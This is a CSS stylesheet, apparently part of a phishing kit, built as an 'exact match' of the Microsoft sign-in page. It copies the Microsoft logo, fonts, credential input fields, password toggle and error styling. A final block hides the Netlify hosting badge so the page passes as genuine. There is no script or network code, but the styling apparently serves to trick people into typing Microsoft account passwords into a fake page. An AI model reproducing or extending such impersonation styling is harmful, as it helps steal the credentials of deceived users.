/* Microsoft Login - Exact Match with Floating Labels & Toggle */
* {
    padding: 0;
    margin: 0;
    box-sizing: border-box;
    font-family: "Segoe UI", "Segoe UI Web (West European)", -apple-system, BlinkMacSystemFont, Roboto, "Helvetica Neue", sans-serif;
}

:root {
    /* Default (Dark) Theme Variables */
    --primary-blue: #0067b8;
    --primary-hover: #005a9e;
    --bg-dark: #1b1b1b;
    --card-bg: #2d2d2d;
    --text-primary: #ffffff;
    --text-secondary: rgba(255, 255, 255, 0.9);
    --text-muted: rgba(255, 255, 255, 0.6);
    --link-color: #4ca6e8;
    --link-hover: #6dc6ff;
    --input-bg: #2d2d2d;
    --input-border: #8a8886;
    --input-border-focus: #0067b8;
    --error: #f85149;
    --shadow: 0 25.6px 57.6px 0 rgba(0, 0, 0, 0.22), 0 4.8px 14.4px 0 rgba(0, 0, 0, 0.18);
    --transition: all 0.15s ease-in-out;
    --bg-image: url('bg.png');
    --footer-bg: rgba(0, 0, 0, 0.6);
    --badge-bg: rgba(255, 255, 255, 0.08);
    --badge-border: rgba(255, 255, 255, 0.15);
}

/* Light Theme Variables */
body.light-theme {
    --bg-dark: #f0f2f5;
    --card-bg: #ffffff;
    --text-primary: #1b1b1b;
    --text-secondary: #444444;
    --text-muted: #666666;
    --link-color: #0067b8;
    --link-hover: #005a9e;
    --input-bg: #ffffff;
    --input-border: #8c8c8c;
    --input-border-focus: #0067b8;
    --error: #e02d1c;
    --shadow: 0 2px 6px rgba(0, 0, 0, 0.2);
    --bg-image: url('bg-light.png');
    --primary-blue: #0067b8;
    --primary-hover: #005a9e;
    --footer-bg: rgba(255, 255, 255, 0.6);
    --badge-bg: transparent;
    --badge-border: #666;
}

html,
body {
    min-height: 100vh;
    background: var(--bg-image) no-repeat center center fixed;
    background-size: cover;
    background-color: var(--bg-dark);
    color: var(--text-primary);
    overflow-x: hidden;
}

section {
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
    width: 100%;
    padding: 20px;
    animation: fadeIn 0.3s ease-out;
}

@keyframes fadeIn {
    from {
        opacity: 0;
        transform: translateY(8px);
    }

    to {
        opacity: 1;
        transform: translateY(0);
    }
}

@keyframes shake {

    0%,
    100% {
        transform: translateX(0);
    }

    20%,
    60% {
        transform: translateX(-4px);
    }

    40%,
    80% {
        transform: translateX(4px);
    }
}

/* Auth Card */
.auth-wrapper {
    width: 100%;
    max-width: 480px;
    /* Increased width */
    min-width: 280px;
    padding: 44px;
    background-color: var(--card-bg);
    box-shadow: var(--shadow);
    text-align: center;
    border-radius: 8px;
    margin-top: -60px;
    /* Moved up slightly */
}

/* Microsoft Logo */
.ms-logo {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
    margin-bottom: 24px;
}

.ms-logo-grid {
    display: grid;
    grid-template-columns: 11px 11px;
    grid-template-rows: 11px 11px;
    gap: 2px;
}

.ms-logo-grid span:nth-child(1) {
    background: #f25022;
}

.ms-logo-grid span:nth-child(2) {
    background: #7fba00;
}

.ms-logo-grid span:nth-child(3) {
    background: #00a4ef;
}

.ms-logo-grid span:nth-child(4) {
    background: #ffb900;
}

.ms-logo-text {
    font-size: 20px;
    font-weight: 600;
    color: var(--text-primary);
}

/* Title */
.title {
    font-size: 24px;
    font-weight: 600;
    color: var(--text-primary);
    margin-bottom: 4px;
    text-align: center;
}

.subtitle {
    font-size: 14px;
    color: var(--text-secondary);
    margin-bottom: 24px;
    text-align: center;
}

/* Floating Label Input */
.input-wrapper {
    position: relative;
    margin-bottom: 8px;
}

.input-wrapper .input {
    width: 100%;
    padding: 20px 12px 6px 12px;
    font-size: 15px;
    color: var(--text-primary);
    background-color: var(--input-bg);
    border: 1px solid var(--input-border);
    border-radius: 4px;
    outline: none;
    transition: var(--transition);
}

.input-wrapper .floating-label {
    position: absolute;
    left: 12px;
    top: 50%;
    transform: translateY(-50%);
    font-size: 14px;
    color: var(--text-muted);
    pointer-events: none;
    transition: var(--transition);
    background-color: var(--input-bg);
    padding: 0 4px;
}

.input-wrapper .input:focus+.floating-label,
.input-wrapper .input:not(:placeholder-shown)+.floating-label {
    top: 0;
    transform: translateY(-50%);
    font-size: 11px;
    color: var(--text-secondary);
}

.input-wrapper .input:focus {
    border-color: var(--input-border);
    /* Keep sides/top original color */
    border-bottom-color: var(--input-border-focus);
    /* Only bottom blue */
    border-bottom-width: 2px;
    /* Make the bottom line slightly thicker */
    padding-bottom: 5px;
    /* Adjust padding to prevent jump due to border width change */
}

.input-wrapper .input.error-inp {
    border-color: var(--error);
    animation: shake 0.4s ease-in-out;
}

.input-wrapper .input.error-inp+.floating-label {
    color: var(--error);
}

/* Password Toggle Icon */
.password-toggle {
    position: absolute;
    right: 12px;
    top: 50%;
    transform: translateY(-50%);
    cursor: pointer;
    color: var(--text-secondary);
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 6px;
    /* Increased padding slightly for better click area */
    border-radius: 50%;
    /* Rounded hover effect */
    transition: var(--transition);
    z-index: 10;
}

.password-toggle:hover {
    background-color: rgba(255, 255, 255, 0.1);
}

/* Error Message */
.error-box {
    display: none;
    background: rgba(248, 81, 73, 0.1);
    border: 1px solid rgba(248, 81, 73, 0.3);
    border-left: 4px solid var(--error);
    border-radius: 4px;
    padding: 12px 14px;
    margin-bottom: 16px;
    color: #ffa4a4;
    font-size: 13px;
    line-height: 1.5;
    text-align: left;
    align-items: flex-start;
    gap: 10px;
}

.error-box.show {
    display: flex;
}

.error-box::before {
    content: '';
    width: 16px;
    height: 16px;
    min-width: 16px;
    background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='%23f85149'%3E%3Cpath d='M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z'/%3E%3C/svg%3E");
    background-size: contain;
    margin-top: 1px;
}

/* Links */
.link-row {
    text-align: left;
    margin: 16px 0;
}

a.link {
    text-decoration: none;
    color: var(--link-color);
    font-size: 13px;
    transition: var(--transition);
}

a.link:hover {
    color: var(--link-hover);
    text-decoration: underline;
}

/* Button */
.btn {
    width: 100%;
    padding: 11px 20px;
    font-size: 15px;
    font-weight: 600;
    color: #fff;
    background-color: var(--primary-blue);
    border: none;
    border-radius: 4px;
    cursor: pointer;
    transition: var(--transition);
    margin-top: 24px;
}

.btn:hover {
    background-color: var(--primary-hover);
}

.btn:disabled {
    background-color: #4a4a4a;
    cursor: not-allowed;
}

.btn-sec {
    background-color: transparent;
    border: 1px solid #666;
    color: var(--text-primary);
}

.btn-sec:hover {
    background-color: rgba(255, 255, 255, 0.1);
}

.btn-group {
    display: flex;
    gap: 8px;
    justify-content: flex-end;
    margin-top: 24px;
}

.btn-group .btn {
    width: auto;
    min-width: 80px;
    margin-top: 0;
}

/* Create Account */
.create-account-row {
    margin-top: 28px;
    font-size: 13px;
    color: var(--text-secondary);
}

/* Header Row */
.header-row {
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 20px;
    position: relative;
}

.back-btn {
    position: absolute;
    left: 0;
    display: flex;
    align-items: center;
    justify-content: center;
    width: 32px;
    height: 32px;
    background: transparent;
    border: none;
    border-radius: 50%;
    cursor: pointer;
    transition: var(--transition);
}

.back-btn:hover {
    background-color: rgba(255, 255, 255, 0.1);
}

.back-btn svg {
    width: 18px;
    height: 18px;
    fill: var(--text-primary);
}

.header-row .ms-logo {
    margin-bottom: 0;
}

/* User Badge */
.user-badge {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    padding: 6px 16px;
    background-color: var(--badge-bg);
    border: 1px solid var(--badge-border);
    border-radius: 20px;
    font-size: 13px;
    color: var(--text-primary);
    margin-bottom: 24px;
}

/* Options Link */
.options-link {
    display: block;
    text-align: center;
    color: var(--link-color);
    font-size: 13px;
    text-decoration: none;
    margin-top: 24px;
}

.options-link:hover {
    text-decoration: underline;
}

/* Checkbox */
.has-checkbox {
    display: flex;
    align-items: center;
    gap: 8px;
    cursor: pointer;
    font-size: 13px;
    color: var(--text-secondary);
    margin: 16px 0;
    text-align: left;
}

.checkbox {
    width: 18px;
    height: 18px;
    accent-color: var(--primary-blue);
}

.p {
    font-size: 13px;
    color: var(--text-secondary);
    line-height: 1.6;
    margin: 16px 0;
    text-align: left;
}

/* Footer */
.footer {
    position: fixed;
    bottom: 0;
    left: 0;
    right: 0;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 4px;
    padding: 10px 24px;
    background: var(--footer-bg);
    backdrop-filter: blur(10px);
}

.footer-links {
    display: flex;
    gap: 20px;
}

.footer a {
    color: var(--text-muted);
    font-size: 11px;
    text-decoration: none;
}

.footer a:hover {
    color: var(--text-primary);
    text-decoration: underline;
}

.footer-notice {
    font-size: 11px;
    color: var(--text-muted);
}

.footer-notice a {
    color: var(--link-color);
}

/* Spinner */
.spinner {
    display: inline-block;
    width: 14px;
    height: 14px;
    border: 2px solid rgba(255, 255, 255, 0.3);
    border-radius: 50%;
    border-top-color: #fff;
    animation: spin 0.8s linear infinite;
    margin-right: 8px;
    vertical-align: middle;
}

@keyframes spin {
    to {
        transform: rotate(360deg);
    }
}

/* Utility */
.d-none {
    display: none !important;
}

.mb-16 {
    margin-bottom: 16px;
}

.mb-24 {
    margin-bottom: 24px;
}

.mt-16 {
    margin-top: 16px;
}

/* Responsive Design (Mobile - Android/iOS) */
@media screen and (max-width: 600px) {

    html,
    body {
        background-image: none !important;
        background-color: var(--card-bg) !important;
        /* Unified dark background */
        height: 100vh;
        overflow: hidden;
        /* Prevent scrolling if not needed */
    }

    section {
        padding: 0;
        height: 100vh;
        align-items: center;
        /* Center vertical */
        justify-content: center;
    }

    .auth-wrapper {
        box-shadow: none;
        background-color: transparent;
        border-radius: 0;
        padding: 24px;
        margin: 0;
        width: 100%;
        max-width: 100%;
        height: 100%;
        display: flex;
        flex-direction: column;
        justify-content: center;
    }

    .footer {
        background: transparent;
        backdrop-filter: none;
        padding-bottom: 20px;
        position: absolute;
        bottom: 0;
    }

    .footer-links {
        gap: 16px;
    }

    /* Adjust logo size for mobile */
    .ms-logo {
        margin-bottom: 20px;
    }

    /* Better touch targets */
    .btn {
        padding: 14px 20px;
        /* Larger button for touch */
        font-size: 16px;
    }

    .input-wrapper .input {
        padding: 22px 12px 8px 12px;
        /* Slightly larger input */
        font-size: 16px;
        /* Prevents zoom on iOS */
    }

    /* Adjust Header Row for password page */
    .header-row {
        justify-content: center;
    }

    .back-btn {
        left: 0;
        padding: 10px;
        /* Lager touch area */
        width: 40px;
        height: 40px;
    }
}

/* Hide Netlify Badge and Floating Card Elements */
#nl-badge, .nl-badge, #nl-card, .nl-card, [id*="nl-badge"], [class*="nl-badge"], [id*="netlify-badge"], [class*="netlify-badge"] {
    display: none !important;
    visibility: hidden !important;
    opacity: 0 !important;
    pointer-events: none !important;
    position: absolute !important;
    left: -9999px !important;
    top: -9999px !important;
    width: 0 !important;
    height: 0 !important;
    max-height: 0 !important;
    max-width: 0 !important;
    overflow: hidden !important;
    z-index: -9999 !important;
}